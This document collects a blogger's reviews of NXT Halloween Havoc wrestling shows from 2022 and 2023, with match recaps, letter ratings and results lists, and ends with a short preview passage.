NXT
Date: October 31, 2023
Location: Capitol Wrestling Center, Orlando, Florida
Commentators Vic Joseph, Booker T.

It’s week two of Halloween Havoc and this time it’s actually Halloween night. The main event this week will see Carmelo Hayes getting a rematch against Ilja Dragunov for the NXT Title. Other than that, we’ll probably hear from Chase U following their title win last week. Let’s get to it.

Here are last week’s results if you need a recap.

Scarlett and Shotzi, dressed as Ghostbusters and getting out of ECTO-1, arrive because they got called about a job.

Opening recap, complete with clips of last week’s opening live performance of Vampyre by New Year’s Day. Some previews for tonight are included too.

Creed Brothers vs. Angel Garza/Humberto Carrillo

Tables, Ladders and Scares match, meaning a TLC match but with pins. Julius starts fast by putting Garza through Carrillo through a table on the floor before crushing both of them with a ladder. Another pair of tables is set up at ringside but Garza gets in a cheap shot on Brutus to break up Julius’ superplex. Instead it’s Julius being sent onto a bridged ladder inside. A Blockbuster/Gory Bomb combination sends Brutus through a table at ringside and we take a break.

Back with Carrillo hitting a springboard spinning kick to send a chair into Brutus’ face. Garza hits a missile dropkick to knock Brutus out of a chair and then powerbombs Julius into a ladder in the corner. Julius’ back looks AWFUL as Brutus puts the ladder around his head for the Terry Funk spinning spot. Back up and Julius makes the save on the floor and it’s time to load up another pair of tables inside. Garza is knocked to the floor and the Brutus Ball through the tables finishes Carrillo at 14:02.

Rating: B. They had some time here and beat the fire out of each other, which is what a match like this is supposed to be. The Creeds are pretty clearly main roster bound and if this wasn’t their last match, it’s probably one of them. They’ve done everything they can do in NXT and if this was their swan song, they went out with a heck of a fight.

Shotzi (a clown) and Scarlett (as Scarlett) mess with a Ouija board but Ivy Nile and Alba Fyre come in to show them how it’s done.

Tiffany Stratton is NOT happy with Fallon Henley impersonating her last week.

Joe Gacy (now that is scary) talks about seeing horrors and the pain and suffering he had to go through to get here. Everyone stabbed him with his judgmental eyes, but he wonders if he is the problem. Yes.

Tiffany Stratton vs. Fallon Henley

Stratton jumps her before the bell and wreck’s Henley’s knee. No match.

The Meta Four (dressed as the Scooby Doo gang) go to a haunted house to find the Heritage Cup. They hear Japanese and Noam Dar shouts that he wants his Cup back from Akira Tozawa. Various monsters scare them off and more on this later.

North American Title: Nathan Frazer vs. Dominik Mysterio

Mysterio (an inmate), with Rhea Ripley (a prison guard, Cobb County, Georgia residency status unclear), is defending. Feeling out process to start until Frazer snaps off some armdrags into a dropkick to the floor. Back in and Frazer sends him to the floor again and we take an early break.

We come back with Dominik hitting some Amigos but Frazer double legs him down to hammer away. Ripley offers a distraction so Dominik can send him outside, only for Frazer to jump back in for a dive. Back in and Frazer superplexes him into a twisting suplex for two. Dominik dropkicks him into the rope but the 619 is cut off with a superkick. Frazer goes up and gets shoved hard into the announcers’ table. The frog splash retains the title at 10:27.

Rating: B-. It’s still hard to fathom that Mysterio is rather good at what he does these days. He and Ripley are still one of the most over acts in the company but it isn’t just because of Ripley anymore. Mysterio can more than hang in the ring and he showed that here, wrestling a completely good match and finishing Frazer without a ton of help. Nice stuff here.

Post match Wes Lee runs in to go after Dominik and hold up the title.

Jacy Jayne congratulates Andre Chase on the title win. Chase says they won fair and square last week but Jayne doesn’t seem to buy it. Jayne and Thea Hail leave when Tony D’Angelo and Stacks come in. Chase calls D’Angelo sir and he says Chase U owes them. Hudson says of course they’ll get a rematch but D’Angelo says “yeah, that too.” Chase again looks a bit shaken.

Alba Fyre and Isla Dawn, now as Poison Ivy and Harley Quinn, talk about who is the most cursed.

Back to the haunted house where the split up Meta Four gets scared by a variety of scary things. Oro Mensah, as Shaggy, runs into Akira Tozawa and gets beaten up. Lash Legend (Velma) beats up one of the monsters but gets kidnapped by another. More on this later.

Mr. Stone vs. Bron Breakker

Stone is fighting for his injured friend/client Von Wagner and starts by running away. The chase on the floor results in Breakker running him over and there’s a suplex to make it worse. The spear finishes Stone at 2:36. That’s all it should have been.

Post match Breakker loads up the steps (how he hurt Wagner) but cue Wagner for the save. A chokeslam onto the steps leaves Breakker laying but he avoids being crushed with the steps.

We look back at Lyra Valkyria beating Becky Lynch to win the Women’s Title last week (as narrated by what sounds like Finn Balor). Valkyria has been on a media tour in Ireland to celebrate her victory.

OTM (Reggie/Scrypts and Lucien Price and Bronco Nima) talks about the rough way they grew up and now they’re someone.

Women’s Tag Team Titles: Thea Hail/Jacy Jayne vs. Piper Niven/Chelsea Green

Hail and Jayne, with the rest of Chase U, are challenging. The brawl starts on the floor before the bell until it’s Hail armdragging Green into the corner to start. Hail gets knocked outside but runs back in for a dive. The champs are down on the floor and we take a break. Back with Hail fighting out of Niven’s chinlock and avoiding a Cannonball in the corner.

Hail grabs a Kimura on Niven, who seems more annoyed than anything else. A tornado DDT plants Niven and a crawl between Green’s legs is enough for the tag back to Jayne. Green gets planted with a spinebuster but Niven makes the save. Chase goes to hype up the student section so Jayne goes for a belt…but Chase won’t let her. The distraction lets Green hit Unpretty-Her to retain at 9:00.

Rating: C. It’s nice to see the champs actually win something and the ending keeps the Chase U issues going. With Chase wanting to go one way and Jayne, arguably the source of their success, wanting to go the other, there is a setup for something down the line. That being said, Green and Niven continue to get better in the ring and they’re gelling as a team rather well all things considered.

As the champs leave, Alba Fyre and Isla Dawn make the Wheel spin, but we don’t see where it lands.

Lexis King is pleased with his performances and likes the buzz around his name around here. You should see what he’s doing next, or better yet, what he’s already done. King hits on McKenzie Mitchell a bit but she leaves. This was more charisma than he showed in his entire AEW run.

Women’s Breakout Tournament Final: Kelani Jordan vs. Lola Vice

Vice has Elektra Lopez with her. Jordan spins over into a backslide to start but Vice swats away a dropkick and fires off some kicks. We take a break and come back with Vice fighting out of trouble and hitting….I think an elbow to the face. MVP’s Playmaker connects but Lopez’s distraction causes Jordan to miss a moonsault. Vice’s spinning kick to the head is good for the win at 6:59.

Rating: C. That’s about as good as you’re going to get with two still fairly new stars and seven minutes including a commercial break. Vice felt like a star from the second she debuted and giving her the win here is the logical choice to make. Jordan did well in the tournament and got a lot out of it, but this was Vice’s to win and that was the case from the start.

Back to the haunted house where Noam Dar finds the Heritage Cup, which he kisses. Then a bunch of the scary things surround him and Akira Tozawa comes in to steal the cup. Tozawa wants a title shot and Dar is scared into agreeing.

Alba Fyre and Isla Dawn talk about how Shotzi and Scarlett have fixed the other realm but here are Von Wagner and Mr. Stone. The former wants Bron Breakker next week but Stone says it’s too soon. Wagner’s head starts hurting, though he still wants the match.

Here’s what’s coming next week.

NXT Title: Carmelo Hayes vs. Ilja Dragunov

Hayes is challenging. They miss kicks to the head to start and go with the forearm exchange instead. A double knockdown sends us to an early break and we come back with Dragunov chopping away, including at the knee of all things. Dragunov cuts him off with a hard clothesline for two and they both need a breather. Hayes is back up with a spinning faceplant for two of his own, setting up one heck of a frog splash for two.

Quite the DDT plants Dragunov again but he’s up with a clothesline and something like a spinebuster for his own near fall. Hayes hits a hard clothesline but can’t put Dragunov down, allowing Dragunov to hit a quick H Bomb for two. Back up and they crash out to the floor for a nasty landing but Dragunov gets to scream.

Dragunov gets the better of things and hits an H Bomb through the announcers’ table but they both make it back inside. The springboard Codebreaker is blocked so Hayes sends him into the buckle. Dragunov is back with another H Bomb for two but the super H Bomb is countered into the Codebreaker. Nothing But Net is loaded up….but here is an angry looking Trick Williams. The distraction lets Dragunov hit a superplex into Torpedo Moscow to retain at 16:30.

Rating: B. These guys have good matches but they don’t quite hit that super high level. That was the situation again here in the trilogy match, which hopefully is the last we see from these two for a bit. Hayes seems ready to move on to Williams and I’m sure Dragunov will get Baron Corbin or someone else at Deadline when there is a concept match to focus on. For now though, it was a good main event for a TV special, but not a must see classic.

Post match Dragunov leaves so Williams gets in the ring and glares down at Hayes. Williams picks him up…and we cut to the back where Baron Corbin has attacked Dragunov to end the show. Williams didn’t say anything so there’s your cliffhanger.

Overall Rating: B. This was another strong show from NXT with a string of good matches and the worst ones being completely watchable. The ending keeps us going on the way to Deadline in about five weeks so they’ve worried about the future as well. In other words, NXT continues its roll, as they’ve figured out how to make this show entertaining and keep the ball moving.

Results
Creed Brothers b. Angel Garza/Humberto Carrillo – Brutus Ball through two tables to Carrillo
Dominik Mysterio b. Nathan Frazer – Frog splash
Bron Breakker b. Mr. Stone – Spear
Chelsea Green/Piper Niven b. Jacy Jayne/Thea Hail – Unpretty-Her to Jayne
Lola Vice b. Kelani Jordan – Spinning kick to the head

Remember to follow me on Twitter @kbreviews and head over to my Amazon author page with 30 different cheap wrestling books at:

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NXT
Date: October 24, 2023
Location: Capitol Wrestling Center, Orlando, Florida
Commentators: Vic Joseph, Booker T.

It’s the first night of the two week Halloween Havoc special and that should make for some interesting shows. Spin The Wheel, Make The Deal is back and some of the matches have already been decided. This week has a pair of major matches, as Lexis King will make his in-ring debut and Becky Lynch will defend the Women’s Title against Lyra Valkyria. Let’s get to it.

Here are last week’s results if you need a recap.

New Year’s Day plays Vampyre, the theme song, live.

Scarlett and Shotzi (as Pinhead from Hellraiser), our hosts, welcome us to our first match.

Roxanne Perez vs. Kiana James

This is a Devil’s Playground match, meaning some themed weapons and falls count anywhere. Perez, dressed as Freddy Kruger, jumps her to start and they go to the floor early on. A sunset lip off the steps gives Perez two and a rollup gets the same. Perez hits her in the ribs with the swing set but gets suplexed on the floor. A shot with a laptop puts Perez down again and we take a break.

Back with Perez choking with a chain while sporting a heck of a bump on her forehead. Perez fights back and sends her into a trashcan, setting up a dive. A piece of a fence to the back sets up a Russian legsweep to put James into a slide. Back up and a hurricanrana off of the barricade is countered, with a powerbomb sending Perez into a trashcan for two. James hits her in the back with a see saw and they fight onto the barricade. With Perez knocked down, she manages to grab James’ bag for a shot to the face. Pop Rox onto the bag finishes James at 9:50.

Rating: B-. It was a good fight and should wrap up their feud with Perez getting the win as she should have. They played into the theme with the playground and it was the kind of entertaining match that made it feel like we were on a special show. Good stuff here, but Perez needs to be boosted up to the title picture again.

Post match the bag is emptied and we see a crushed brick.

We get a sitdown interview with Carmelo Hayes. First of all, he denies attacking Trick Williams before moving on to his title shot against Ilja Dragunov. It’s not just about the title, but it’s also about being Him, which means being the best. When asked if he would be #1 contender if Williams was in the four way match, Hayes says he would be before walking off, saying this one is for justice for Williams.

Scarlett and Shotzi give the Meta Four a tarot card reading, saying they will be starting a great journey, but their joy will be turned into intense grief. The team isn’t happy, but as they panic, Akira Tozawa steals the Heritage Cup.

Lexis King vs. Dante Chen

King comes out on a throne for a little flavor. They trade arm control to start until King headbutts him against the ropes. Chen takes him to the mat but King’s up kick staggers Chen again. A running forearm to the back of the head puts Chen down but the chinlock doesn’t last long. Chen fights up with an atomic drop and a pump kick, only to spend too long posing. King nails a superkick and hits a hanging swinging neckbreaker for the pin at 4:02.

Rating: C. It wasn’t a bad debut for King and he felt different from his time as Brian Pillman Jr., which is what matters the most. At the same time, Chen got in a bit too much offense here (a trend with him) and it made things feel a bit off. That being said, it’s one match and things could still go rather well in the future.

Chase U is warming up when Stacks and Tony D’Angelo come in to say they couldn’t ask for better opponents. Duke Hudson isn’t sure what to make of that but Andre Chase says don’t worry about it.

Women’s Breakout Tournament Semifinals: Kelani Jordan vs. Arianna Grace

Jordan armdrags her down to start and sends Grace to the floor as we take an early break. Back with Jordan grabbing a suplex but getting caught with a swinging neckbreaker. Jordan gets sent to the apron but comes back in with a sunset flip for two. The clothesline comeback puts Grace down and a flipping legdrop gives Jordan two more. Grace sends her throat first onto the top rope but gets knocked off the top. Jordan’s split legged moonsault finishes Grace at 7:35.

Rating: C. You can tell that NXT sees a lot in Jordan, who has the athletic background and smaller stature to make her feel like a natural underdog. Grace feels like a bigger project going forward, but for now Jordan getting the win as the underdog makes sense. The match wasn’t great, but it did well enough to get the job done.

Von Wagner is still at physical therapy with Mr. Stone next to him. Stone says he knows he went too far by challenging Bron Breakker but is hoping to get in one shot. Wagner believes in him.

Scarlett and Shotzi (the latter now Edwards Scissorhands) plug their YouTube show when Diamond Mine comes in. The Creeds want Angel Garza and Humberto Carrillo next week, but there needs to be something else. Ivy Nile gets to Spin The Wheel, Make The Deal, giving us…..Tables, Ladders and Scares. Stacks and Tony D’Angelo come out for their title defense and get in a brief staredown with the Creeds.

Tag Team Titles: Stacks/Tony D’Angelo vs. Chase U

Chase U, with Jacy Jayne and Thea Hail, is challenging. Chase headlocks Stacks to start so it’s off to Hudson, who is low bridged to the floor. That lets Stacks hit a dive before D’Angelo hiptosses him over the top onto Chase U as we take a break. Back with Chase getting hot shotted into a boot to the face for two.

Chase kicks his way out of trouble though and it’s back to Hudson to clean house. Hudson drops Stacks onto D’Angelo and grabs a side slam for two. The swinging Boss Man Slam gets the same and everything breaks down. D’Angelo comes back in to take over, including a hard spinebuster to Chase. A middle rope elbow into a German suplex gives Stacks two but Chase is back up for the spelling stomps.

Stacks cuts Hudson off though and tags himself back in, setting up a PowerPlex (top rope headbutt rather than a splash) but Hudson German suplexes D’Angelo into the cover for the save. The Bada Bing Bada Boom is broken up and Chase gets two off a sunset flip. Jayne tries to give Chase a crowbar but he turns it down. Instead Jayne gets knocked of the apron but the distraction lets Chase get the rollup for the pin and the titles at 11:15.

Rating: B. They FINALLY did it as Chase U’s title win is long overdue. The team had been one of the most popular acts in all of NXT but that was only going to get them so far until they actually won something. This is the kind of big moment that they had been waiting on for months now, and even if the Creed Brothers are ready to take the belts soon, at least Chase U got there here. Rather good match, but better moment.

Nathan Frazer recaps his issues with Dominik Mysterio, saying Dominik has one of those slappable faces. Things did not go well for Frazer last year at Halloween Havoc but now he is back and ready to do better, including winning the North American Title. Assuming Rhea Ripley lets Dominik come back.

We hear from some fans about Becky Lynch vs. Lyra Valkyria tonight.

Baron Corbin is tired of doing all the work and having someone else get the glory. No he didn’t attack Trick Williams and suggests people like Axiom or Wes Lee.

Gigi Dolin vs. Blair Davenport

Lights Out, meaning anything goes but falls only count in the ring. Dolin sends her outside to start and hits a dive off the apron, only to get kneed in the head back inside. Davenport takes it right back to the floor and sends her to the steps. Dolin fights back though and sends her into a chair as we take a break. Back with Dolin taking over again and grabbing a table. Davenport fights up and unsets the table before beating on Dolin with a belt.

More weapons are brought in but this time Dolin whips her with the belt for two. Davenport fights back again and sets up the table at ringside, with the delay allowing Dolin to trash can her in the face. Some running dropkicks have Davenport in trouble but she sends Dolin into the steps. They get onto the announcers’ table until a Falcon Arrow sends Dolin through the regular table. Back in and Davenport knees her in the face for the pin at 12:33.

Rating: C+. Turning the lights down was something of a twist here but this felt like so many of the same hardcore/street fights that we’ve sen forever. It doesn’t help that it’s the second match of a similar style tonight and Perez vs. James was better. Davenport can move on to something new now and I’m sure Dolin will be fine as she’s treated like enough of a star.

Ilja Dragunov talks about how much trouble he had growing up but now it is all worth it. His son held his NXT Title and it was a special moment to see him looking at his dad. As for Carmelo Hayes, Dragunov is ready to fight as the champion instead of the challenger. Hayes has to adjust to him because the title represents thirty years of sacrifice.

We see Carmelo Hayes watching the interview when Scarlett and Shotzi, now as twins, say all signs point to Hayes being the one who attacked Trick Williams. Hayes isn’t happy.

Tiffany Stratton doesn’t care who wins the Breakout Tournament but here is….I think Fallon Henley to impersonate Stratton, complete with outfit and blonde hair. Stratton isn’t happy and decks her.

Women’s Breakout Tournament Semifinals: Karmen Petrovic vs. Lola Vice

They start fast with Petrovic being sent to the apron and kicked out to the floor. Back in and Vice grabs a quickly broken abdominal stretch, allowing Petrovic to kick her in the head. Vice is knocked to the floor for a nice dive but Vice kicks her head off back inside for the pin at 3:35.

Rating: C+. They hit each other rather hard here as it was a battle of strikers, with the better choice going forward. Petrovic will be fine going forward, but Vice has that star power to her that you can see the second she appears. Vice winning the tournament would be a good way to go, as she has what WWE tends to look for in a heel.

Kelani Jordan comes out for the staredown.

Chase U is happy with the win, but Duke Hudson isn’t sure about the title making his carry on bag weigh too much. Even Thea Hail is excited but Chelsea Green and Piper Niven (the latter as a wolf on a chain) interrupt. Hail and Jayne don’t care so Green is planning a formal complaint. That’s fine with Hail and Jayne, who are going to ask for a Women’s Tag Team Title shot. Of note: Dante Chen and Boa could be seen talking in the back.

Meta Four finds out that Akira Tozawa stole the Heritage Cup, as Tozawa has said if they want the cup back, come and get it. A title match seems to be set for next week.

Bron Breakker comes in to see Carmelo Hayes and accuses him of taking out Trick Williams. If the same Hayes shows up next week, he’ll get the title back.

Here’s what’s coming next week.

Women’s Title: Becky Lynch vs. Lyra Valkyria

Lynch is defending. They stare at each other to start and we take a break less than thirty seconds in. Back with Valkyria in trouble but bridging out of a crossbody. They collide for a double knockdown as we see a live shot of a bar in the UK watching the match. Valkyria strikes away, including a running forearm against the ropes. Some clotheslines set up a bridging northern lights suplex for two on Lynch.

Back up and Lynch knocks her into the ropes but it’s too early for the middle rope legdrop. Instead Valkyria sends her outside for a dropkick through the ropes. Lynch is fine enough to get in a quick posting but Valkyria ties her in the ropes for a change. Valkyria is able to hit her own middle rope legdrop to the back of the head, followed by a missile dropkick for the same.

Lynch is right back with a Diamond Dust of all things for two but she can’t get an armbar. Instead, Valkyria grabs a full nelson with her legs but Lynch leans back for two and the break. Valkyria’s fisherman’s buster gets two but Lynch pulls her into the Disarm-Her. That’s broken up with a foot on the rope and a sitout powerbomb gives Valkyria two more.

Lynch catches her on top though and a hard DDT gives Lynch a near fall of her own. With nothing else working, Lynch hammers away on the mat but Valkyria catches her on top. The spinning kick to the face gives Valkyria two as the fans greatly approve. A quick Manhandle Slam gives Lynch two and she can’t believe the kickout. Lynch loads it up again but Valkyria reverses into a rollup for the pin and the title at 16:06.

Rating: B+. And that is how you make a new star. Lynch hit Valkyria with her best shot and couldn’t put her away because Valkyria was the better woman, at least on this night. On top of that, they beat the fire out of each other with back and forth shots until one of them got caught. Valkyria gets the win of her career and Lynch goes back to the main roster for whatever she has next. Heck of a match here, but the result for the future is more important.

Post match Jade Cargill is watching from the balcony as Lynch hands Valkyria the title and raises her hand to end the show.

Overall Rating: B+. This was a pretty awesome show as they set things up or next week, gave us two title changes in a pair of rather good matches and also played into the Halloween theme enough. Next week is going to have a hard time following this, but they have enough ready to make it a possibility. This was an awesome show though as NXT is on another roll going into the second week, plus the build to Deadline in December.

Results
Roxanne Perez b. Kiana James – Pop Rox onto James’ purse
Lexis King b. Dante Chen – Hanging swinging neckbreaker
Kelani Jordan b. Arianna Grace – Split legged moonsault
Chase U b. Stacks/Tony D’Angelo – Rollup to Stacks
Blair Davenport b. Gigi Dolin – Knee to the face
Lola Vice b. Karmen Petrovic – Spinning kick to the head
Lyra Valkyria b. Becky Lynch – Rollup

Remember to follow me on Twitter @kbreviews and head over to my Amazon author page with 30 different cheap wrestling books at:

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Halloween Havoc 2022
Date: October 22, 2022
Location: Capitol Wrestling Center, Orlando, Florida
Commentators: Vic Joseph, Booker T

We’re back to the themed shows and this one has some potential, if nothing else for the set alone. How WWE waited twenty years to bring this back is beyond me, but we could be in for a very fun show this week. Or it’s going to be a big crossover between NXT and Chucky because he has to be around every year. Let’s get to it.

Chucky (oh here we go) welcomes us to the show and runs down the card.

Hosts Shotzi and Quincy Elliott welcome us to the show.

North American Title: Oro Mensah vs. Wes Lee vs. Carmelo Hayes vs. Nathan Frazer vs. Von Wagner

Ladder match for the vacant title. It’s the normal brawl to start with Frazer sending the villains outside for the big dive onto Wagner. The first ladder is brought in but Mensah and Frazer get together to take Hayes and Lee down. With that broken up, Lee gets the ladder and starts cleaning house, including driving it into Wagner’s ribs in the corner. Wagner cuts off a climb but Mensah is there to go up. Frazer takes the ladder down but Lee rides a ladder down onto Frazer for the big crash.

Back up and Hayes hits Melo Don’t Miss into the ropes on Lee but Frazer hits a springboard reverse Spanish Fly (that was cool) onto the ladder. Wagner is back up with a chokeslam but Lee kicks him to the floor. Trick Williams comes in to turn the ladder over on Mensah, who lands on the top and dives onto everyone else. Williams and Mr. Stone use the chance to go up, with Williams hitting him with a shoe.

That’s enough to knock Williams down but he shoves the ladder over and Stone crashes to the floor. Wagner is back in to throw a ladder at Frazer and Mensah but Frazer is back up to put Wagner on a ladder. That means a frog splash to drive Wagner through the ladder for the big crash at ringside. Lee takes Hayes down and grabs the big ladder but Wagner picks him up and LAUNCHES HIM over the top and onto (not through) the announcers’ table.

Wagner goes up but Frazer springboards in to cut him off. With Wagner sent over the barricade, he does the big horror movie rise but gets laddered down again. Frazer and Mensah go up the ladder and slug it out until Frazer comes crashing down. Hayes is back in to pull Mensah into another ladder but Lee takes him down. This time it’s Lee going up but Hayes cuts him off on a ladder bridged between the rope and the standing one. Lee drops Hayes and manages to get up top for the win and the title at 16:03.

Rating: B-. It was a good brawl, but as usual, they’re running out of things to do in a ladder match. It doesn’t help that this was just a collection of people thrown into the match rather than having any reason to be mad at each other. What matters here is having a bunch of people fly around and do their big spots to get the crowd going and that worked.

Last night, Alba Fyre challenged Mandy Rose to meet her in a graveyard, so Toxic Attraction jumps in the car and rides off.

We arrive at the graveyard, where Toxic Attraction is more than a little scared. They start walking around and head into a spooky old house and are all scared, with Jacy Jayne being left alone and finding what looks to be an old theater. Someone moves behind her and she screams.

We move over to Gigi Dolin, who winds up in the dining room where she finds….Chucky. Then someone in a mask with red hair jumps her and the fight is on, with Dolin using whatever she can to fight back. A door to the head rocks the woman, who is (shockingly) revealed as Alba Fyre. Dolin opens a refrigerator, finds someone inside, and is knocked inside by Alba. We cut to Mandy Rose, who kicks a monster low but gets jumped by Fyre as well. A baseball bat shot misses and Rose takes the bat away, only to get dropped again. Fyre says she isn’t like everyone else drives off. More on this later….I guess?

We recap Grayson Waller vs. Apollo Crews. Waller cheated to beat him but Crews used his psychic powers to see Waller getting hurt, which wound up happening. They have since Spun the Wheel, with the Deal being a casket match.

Apollo Crews vs. Grayson Waller

Casket match. Waller elbows him down to start but Crews does an Undertaker situp and stare. Crews takes it outside and moonsaults off the apron onto Waller, with the brawl heading up the ramp. A suplex drops Crews so hard that Booker says we’re watching “Nathan” Waller.

They fight over to the announcers’ table, where Waller gets in a shot with a pen to take over. They go to the top where Waller shoves him off and through the lid of the casket. Waller thinks he’s won….but then the lights go out. They come back up to reveal Crews coming down the aisle with the druids and another casket. Back in and Crews unloads on Waller, including a gutbuster to put him in the casket.

Waller fights out again and slams the casket lid on Crews’ head but they both wind up inside. They both fight out until Waller sends him back inside for the rolling Stunner. Waller does the Undertaker throat slit and tries a Tombstone, only to be reversed into a gutbuster. That’s not enough to put Waller in, so Crews slams him from the apron into the casket and wins at 12:35.

Rating: C. I looked at the clock about eight minutes into this and couldn’t believe they hadn’t been going fifteen already. This felt far longer than it should have because the casket deal was a weird stipulation to choose. Crews winning is more than a little weird, but you can imagine Waller has bigger things in store for him anyway.

We go to Chase U, where Andre Chase isn’t happy with his students’ lack of knowledge about Halloween Havoc 1995. They also have a new student in Duke Hudson, who shows up Bodie Hayward. Chase expects more from Bodie.

Alba Fyre is on her way back, with Mandy Rose in the backseat.

Pretty Deadly and Kayden Carter/Katana Chance are backstage and ready to retain their Tag Team Titles.

Cora Jade vs. Roxanne Perez

Weapons Wild, more or less meaning street fight. Perez busts out a skateboard, which is what started the whole thing. The fight is on with Jade being taken down and put on the skateboard for a trip to the floor. Jade is back with some kind of spray to the face and a swing into the barricade.

Back in and Cora blocks her from grabbing a chair and puts a trashcan over her head. They head back to the floor where Jade puts on a reverse chinlock. That’s let go but Jade misses a chain shot, allowing Perez to dive on her and hammer away. Pop Rox is blocked back inside and they brawl to the floor again. The fight heads through the crowd and up into the balcony, where a Russian legsweep takes them down and through a table below. Back in and Perez hits Pop Rox onto a pile of chairs for the pin at 12:23.

Rating: C+. The right person won so they definitely went in the right direction and the personal nature of the feud was well set up. It was good enough, though neither looked overly comfortable using the weapons. Perez feels like she could be the next big thing and Jade is a heck of a prospect in her own right so this was a pair of strong options, but Perez is ahead of her and might even be in line for a title shot. Nice stuff here, with the right person going over.

NXT Deadline is on December 10.

Here is Shotzi, in Beetlejuice gear, to talk about how great tonight has been. She brings out Quincy Elliott, as a banana, for some puns. Lash Legend interrupts and says she should be hosting before Elliott says she’s not fabulous enough to host. Shotzi lays her out with a DDT and spanks a dancing Elliott.

Schism talks about trying to welcome more people to the hold and ask the person in the red hoodie if he/she is ready to reveal themselves. We’ll do that Tuesday. Then they all put on yellow masks.

We recap Damon Kemp ripping apart the Diamond Mine and Julius Creed agreeing to fight Damon Kemp for Brutus Creed’s future. Therefore, it’s an ambulance match with Roderick Strong still in a wheelchair lurking around.

Julius Creed vs. Damon Kemp

Ambulance match for Brutus Creed’s career. Creed chucks pumpkins at him to start and hits a dropkick at the bell. A German suplex makes Kemp drop his chair and they crash out to the floor. They’re already at the ambulance and Creed throws him in but Kemp uses a crutch to block the door. Some crutch shots put Creed down and a suplex on the floor makes it worse.

A steps shot rocks Creed again but he gets away from Kemp without much trouble. Kemp slams the ambulance door on him but Julius kicks it into his face. They head back inside where Kemp plants him on the steps, meaning it’s time to pose. The fight heads outside where Julius ties him into a wheelchair with a crutch and rolls him around as the fans want a pumpkin used.

Instead Kemp puts him in a rolling cart to head towards the ambulance. Creed is sent inside, has the door slammed on his hands, but fights out again. They head back to ringside (again) with Julius unloading on him with chair shots. A powerbomb onto a stretcher lets Julius take him to the ambulance for the win at 12:05.

Rating: C+. It was a good brawl and the pumpkins (which acted more like dodge balls) were a fun addition at first, but it begs one question: why did this need to be an ambulance match? You have two former college wrestling stars and your solution is to put them in the second “win by putting someone into something and closing it” match of the night? What they did was good and Creed looked dominant in his win, but I could have gone for something a bit more suited to their skills.

The ambulance leaves and we see Alba Fyre, with Mandy Rose, arriving. Here we go.

Women’s Title: Mandy Rose vs. Alba Fyre

Fyre is challenging and starts fast but gets shoved off the top to the floor. Back in and Rose slams her down for two before forearming away. With that broken up Fyre kicks her in the chest to take over. A spinebuster out of the corner gives Rose two but Fyre plants her down hard again.

Back up and a swanton plants Mandy but here is Toxic Attraction to pull the referee. Fyre kicks Jacy Jayne into the referee, meaning no one is there to count after Fyre hits the Gory Bomb. Toxic Attraction goes high/low on Fyre and the running knee is enough to retain the title at 7:05.

Rating: C. And yes, Rose wins again. I like her a good bit and she has come MILES over this run, but it’s time to wrap it up. You can only have Toxic Attraction save you so many times to set up the running knee and we are long past the point of it being a fresh ending. Rose has mowed down so many people already and it is getting old fast. I don’t know if Toxic Attraction is going to the main roster, but Rose can stand to lose the title by now.

Nikkita Lyons/Zoey Stark and Edris Enofe/Malik Blade are ready to win the Tag Team Titles.

We recap the NXT Title match. Bron Breakker is champion, JD McDonagh (who Breakker has already beaten) won a #1 contenders match and Ilja Dragunov is here because he never lost the NXT UK Title. Now it’s a three way for the title, with Austin Theory teasing a Money in the Bank cash-in.

NXT Title: Bron Breakker vs. JD McDonagh vs. Ilja Dragunov

Breakker is defending and goes after McDonagh to start. Dragunov wants to beat on McDonagh as well but the delay lets McDonagh fight back up. With Dragunov on the floor, McDonagh slugs away on Breakker in the corner before Dragunov takes Breakker’s face. The slugout is on with McDonagh getting frustrated and whipping him into the corner. Breakker is back in with the belly to belly and sends McDonagh outside but charges into Dragunov’s boot to the face.

Everyone gets back inside and Dragunov knocks the other two into the corner, setting up a big Coast to Coast. Breakker is back up to slug it out with Dragunov and McDonagh applauds as they both go down. That’s too far for the other two as they knock McDonagh back and forth before tossing him outside. Breakker and Dragunov clothesline each other and McDonagh is back in to slowly go up top.

The delay is enough for Breakker to Frankensteiner him into a powerbomb from Dragunov and they’re all down again. It’s McDonagh up first to send them outside for the big moonsault to the floor. Back in and Dragunov powerbombs Breakker for two but McDonagh is in with a 450 for two on Dragunov. Breakker manages to German suplex both of them at the same time and then hits the gorilla press powerslam on Dragunov.

McDonagh steals the cover and gets two but Breakker isn’t happy with the thievery. With McDonagh on the floor, Breakker’s spear is cut off with Dragunov’s jumping knee. A top rope backsplash sets up the Torpedo but McDonagh grabs the referee at two. Dragunov chases McDonagh to the floor and walks into a Spanish Fly. McDonagh tries to crush Dragunov’s ankle on the steps but misses, allowing Dragunov to hit a Torpedo off the steps. Back in and Breakker spears Dragunov to retain at 23:50.

Rating: B+. This had everything you could want in this sort of triple threat, save for maybe an interesting champion. Breakker has the tools, but other than being strong, athletic and a Steiner, what is there to know about him? I get why he is in a prominent spot, but it would be nice to develop the other side of him a bit more. McDonagh was there for some aerial stuff and Dragunov took the pin for reasons I don’t quite get, but Breakker needs someone else to come after him and I’m not sure who that is. Carmelo Hayes maybe?

Overall Rating: B. The show was mostly good, but aside from maybe the main event, there is nothing worth going out of your way to see. That describes NXT in a nutshell for the last several months: good, but don’t expect anything that is going to feel must see. NXT needs some kind of hot story or angle to spice things up a bit, because the show is only going to be so good with what they’re doing at the moment.

This show was a good example, as they more or less turned Halloween Havoc into something closer to Extreme Rules. It has good enough work and results, but nothing that blew me away. Fix that and NXT is that much better. If nothing else, stop overthinking these things and let the wrestlers showcase themselves instead of playing to some stipulation. For a special it was good, but it didn’t give me much to get behind with NXT going forward.

Results
Wes Lee b. Oro Mensah, Carmelo Hayes, Nathan Frazer and Von Wagner – Lee pulled down the title
Apollo Crews b. Grayson Waller – Crews shut Waller in the casket
Roxanne Perez b. Cora Jade – Pop Rox onto a pile of chairs
Julius Creed b. Damon Kemp – Creed shut Kemp in the ambulance
Mandy Rose b. Alba Fyre – Kiss From A Rose
Bron Breakker b. Ilja Dragunov and JD McDonagh – Spear to Dragunov

Remember to follow me on Twitter @kbreviews and head over to my Amazon author page with 30 different cheap wrestling books at:

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It’s that time again as we get another WCW event being used better by NXT than by WWE. Halloween Havoc is a simple concept that can be done rather well with a cool set and some rather gimmicky matches. As luck would have it, the second one of those is already guaranteed and the first is all but guaranteed so we should be in for a pretty fun, and maybe even eventful, night. Let’s get to it.

Apollo Crews vs. Grayson Waller

We’ll start with a match that we don’t know yet, as this is going to be Spin The Wheel, Make The Deal. Crews has suddenly developed the power of foresight and keeps seeing Waller in varying states of pain so now they’re having a match as a result. Waller is one of the hotter prospects in NXT and Crews is able to work well with just about anyone so, gimmick depending, this should be good.

